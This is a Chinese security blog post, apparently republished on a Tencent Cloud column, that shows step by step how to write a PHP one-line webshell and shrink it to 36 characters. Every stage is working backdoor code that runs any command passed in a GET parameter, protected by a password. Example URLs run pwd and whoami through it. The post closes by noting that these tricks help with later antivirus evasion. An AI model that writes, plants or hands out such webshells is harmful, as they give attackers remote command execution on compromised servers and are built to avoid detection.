前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一句话木马的精简史

一句话木马的精简史

作者头像
信安之路
发布2022-10-04 13:46:51
6790
发布2022-10-04 13:46:51
举报
文章被收录于专栏:信安之路信安之路

今天来看看如何精简一个 php 后门,基于 php 的特性,让 php 后门的字节最小化,首先编写一个一句话后门:

代码语言:javascript
复制
<?php
    $function = $_GET['function'];
    $argument = $_GET['argument'];
    $function($argument)
?>

使用方式(function 参数是要执行的函数名,比如 exec、eval、system 等执行命令的函数,argument 为函数的参数,根据不同的函数,使用的参数不同):

http://example.com/shell.php?function=system&argument=pwd

目前该 webshell 的大小为 98 字节:

我们看到 shell 中的变量名和参数名都比较长,直接可以缩减为一个字符,比如:

代码语言:javascript
复制
<?php
    $f = $_GET['f'];
    $a = $_GET['a'];
    $f($a)
?>

对于 PHP 来说,结束标签 ?> 也可以不要,然后将变量名也缩减掉之后变成:

代码语言:javascript
复制
<?php
    $_GET['f']($_GET['a']);

当前脚本的大小已经缩减到了 34 个字符,测试下是否可用:

http://example.com/shell.php?f=system&a=pwd

现在有个问题,没有设置密码,任何人都可以使用这个 shell,现在需要增加一个访问密码:

代码语言:javascript
复制
<?php
  if ($_GET['p']=='password'){
    $_GET['f']($_GET['a']);
  }

使用时在参数中增加 p=password 即可:

http://example.com/shell3.php?f=system&a=pwd&p=password

增加了密码功能之后,后门大小变成了 64 字节,还能再进行缩减吗?

对于 php 而言,存在一种叫三元运算符的东西,比如正常写 if else:

if ($movie == ‘marvel’){echo ‘y’} else{‘n’}

使用三元运算符之后的写法:

($movie == ‘marvel’ ? echo ‘y’ : echo ‘n’)

应用到我们的 shell 中,变成了:

代码语言:javascript
复制
<?php
    ($_GET['p']=='password')?$_GET['f']($_GET['a']):y);

然后密码可以设置短点,比如 _,然后将换行符等空白符尽可能去掉:

代码语言:javascript
复制
<?php ($_GET['p']=='_'?$_GET['f']($_GET['a']):y);

当前字节数只剩下了 50 个,我们还可以利用 && 先执行密码验证后执行命令的方式,如果密码验证失败这该脚本执行结束,最后变为:

代码语言:javascript
复制
<?php $_GET['p']=='_'&&$_GET['f']($_GET['a']);

现在这个 shell 字节已经缩减到 47 个,php 还有一个特性 <?php<?= 等价,又可用缩减两个字节:

代码语言:javascript
复制
<?=$_GET['p']=='_'&&$_GET['f']($_GET['a']);

最后,php 允许 $_GET[f] 这样的写法, 所以我们可以将 shell 中的单引号都去掉,又能减少 8 个字符:

代码语言:javascript
复制
<?=$_GET[p]==_&&$_GET[f]($_GET[a]);

缩减到最后的 shell 只有 36 个字符,测试下是否可以正常使用:

http://example.com/shell7php?f=system&a=whoami&p=_

经过一系列的操作,webshell 获得了极大的缩减,其中包含了多个 PHP 脚本的特性,这些特性对于后续的 webshel 免杀会有极大的帮助,极具学习的价值。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-08-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档